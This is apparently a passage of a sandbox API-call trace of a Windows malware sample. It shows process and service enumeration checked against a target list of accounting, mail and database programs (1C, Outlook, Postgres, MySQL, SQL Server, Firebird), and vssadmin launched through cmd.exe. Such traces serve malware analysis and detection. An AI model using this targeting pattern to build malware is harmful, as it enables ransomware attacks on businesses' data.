lstrlenW (lpString="csrss.exe") returned 9 [0054.238] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0054.238] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0054.238] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0054.238] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0054.238] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0054.238] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0054.238] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0054.238] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0054.239] lstrlenW (lpString="wininit.exe") returned 11 [0054.239] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0054.239] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0054.239] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0054.239] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.240] lstrlenW (lpString="csrss.exe") returned 9 [0054.240] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0054.240] lstrlenW (lpString="winlogon.exe") returned 12 [0054.240] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0054.241] lstrlenW (lpString="services.exe") returned 12 [0054.241] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0054.241] lstrlenW (lpString="lsass.exe") returned 9 [0054.241] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0054.242] lstrlenW (lpString="lsm.exe") returned 7 [0054.242] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.242] lstrlenW (lpString="svchost.exe") returned 11 [0054.242] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.243] lstrlenW (lpString="svchost.exe") returned 11 [0054.243] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.243] lstrlenW (lpString="svchost.exe") returned 11 [0054.243] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.244] lstrlenW (lpString="svchost.exe") returned 11 [0054.244] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.244] lstrlenW (lpString="svchost.exe") returned 11 [0054.244] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0054.245] lstrlenW (lpString="audiodg.exe") returned 11 [0054.245] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.245] lstrlenW (lpString="svchost.exe") returned 11 [0054.245] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.246] lstrlenW (lpString="svchost.exe") returned 11 [0054.246] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0054.246] lstrlenW (lpString="dwm.exe") returned 7 [0054.246] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0054.247] lstrlenW (lpString="explorer.exe") returned 12 [0054.247] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0054.247] lstrlenW (lpString="spoolsv.exe") returned 11 [0054.247] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.248] lstrlenW (lpString="taskhost.exe") returned 12 [0054.248] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.248] lstrlenW (lpString="svchost.exe") returned 11 [0054.248] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0054.249] lstrlenW (lpString="taskeng.exe") returned 11 [0054.249] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.249] lstrlenW (lpString="taskhost.exe") returned 12 [0054.249] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0054.250] lstrlenW (lpString="dear.exe") returned 8 [0054.250] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0054.250] lstrlenW (lpString="b costa.exe") returned 11 [0054.250] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0054.251] lstrlenW (lpString="rc lock.exe") returned 11 [0054.251] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0054.251] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0054.251] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0054.252] lstrlenW (lpString="hugown.exe") returned 10 [0054.252] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0054.252] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0054.252] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0054.253] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0054.253] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0054.253] lstrlenW (lpString="locked welsh.exe") returned 16 [0054.253] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0054.254] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0054.254] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0054.254] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0054.254] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0054.255] lstrlenW (lpString="planners.exe") returned 12 [0054.255] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0054.255] lstrlenW (lpString="agreements.exe") returned 14 [0054.255] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0054.256] lstrlenW (lpString="tray.exe") returned 8 [0054.256] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0054.257] lstrlenW (lpString="wp std.exe") returned 10 [0054.257] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0054.257] lstrlenW (lpString="lesser.exe") returned 10 [0054.257] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0054.258] lstrlenW (lpString="right-tissue.exe") returned 16 [0054.258] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0054.258] lstrlenW (lpString="bunch.exe") returned 9 [0054.258] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0054.259] lstrlenW (lpString="jam.exe") returned 7 [0054.259] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0054.259] lstrlenW (lpString="chooseincidence.exe") returned 19 [0054.259] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0054.260] lstrlenW (lpString="numericalrear.exe") returned 17 [0054.260] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0054.260] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0054.261] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0054.261] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0054.261] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0054.262] lstrlenW (lpString="come_wave.exe") returned 13 [0054.262] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0054.262] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0054.262] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0054.263] lstrlenW (lpString="uyuquk.exe") returned 10 [0054.263] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0054.263] lstrlenW (lpString="cmd.exe") returned 7 [0054.263] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0054.264] lstrlenW (lpString="conhost.exe") returned 11 [0054.264] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0054.264] lstrlenW (lpString="vssadmin.exe") returned 12 [0054.264] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0054.265] lstrlenW (lpString="VSSVC.exe") returned 9 [0054.265] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.265] lstrlenW (lpString="svchost.exe") returned 11 [0054.265] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0054.266] CloseHandle (hObject=0x1d0) returned 1 [0054.266] Sleep (dwMilliseconds=0x1f4) [0055.058] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x605b48 [0055.060] EnumServicesStatusExW (in: hSCManager=0x605b48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0055.061] GetLastError () returned 0xea [0055.061] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x55e478 [0055.061] EnumServicesStatusExW (in: hSCManager=0x605b48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e478, cbBufSize=0x12c6, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e478, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0055.062] CloseServiceHandle (hSCObject=0x605b48) returned 1 [0055.062] lstrlenW (lpString="Appinfo") returned 7 [0055.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0055.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0055.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0055.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0055.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0055.063] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0055.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.063] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0055.063] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0055.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0055.063] lstrlenW (lpString="AudioSrv") returned 8 [0055.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0055.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0055.063] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0055.063] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0055.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0055.063] lstrlenW (lpString="BFE") returned 3 [0055.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0055.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0055.063] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0055.063] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0055.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0055.063] lstrlenW (lpString="CryptSvc") returned 8 [0055.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0055.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0055.063] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0055.063] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0055.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0055.064] lstrlenW (lpString="CscService") returned 10 [0055.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0055.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0055.064] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0055.064] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0055.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0055.064] lstrlenW (lpString="DcomLaunch") returned 10 [0055.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.064] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0055.064] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0055.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0055.064] lstrlenW (lpString="Dhcp") returned 4 [0055.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0055.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0055.064] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0055.064] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0055.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0055.064] lstrlenW (lpString="Dnscache") returned 8 [0055.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0055.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0055.064] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0055.064] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0055.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0055.064] lstrlenW (lpString="DPS") returned 3 [0055.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0055.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0055.064] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0055.064] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0055.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0055.065] lstrlenW (lpString="eventlog") returned 8 [0055.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0055.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0055.065] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0055.065] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0055.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0055.065] lstrlenW (lpString="EventSystem") returned 11 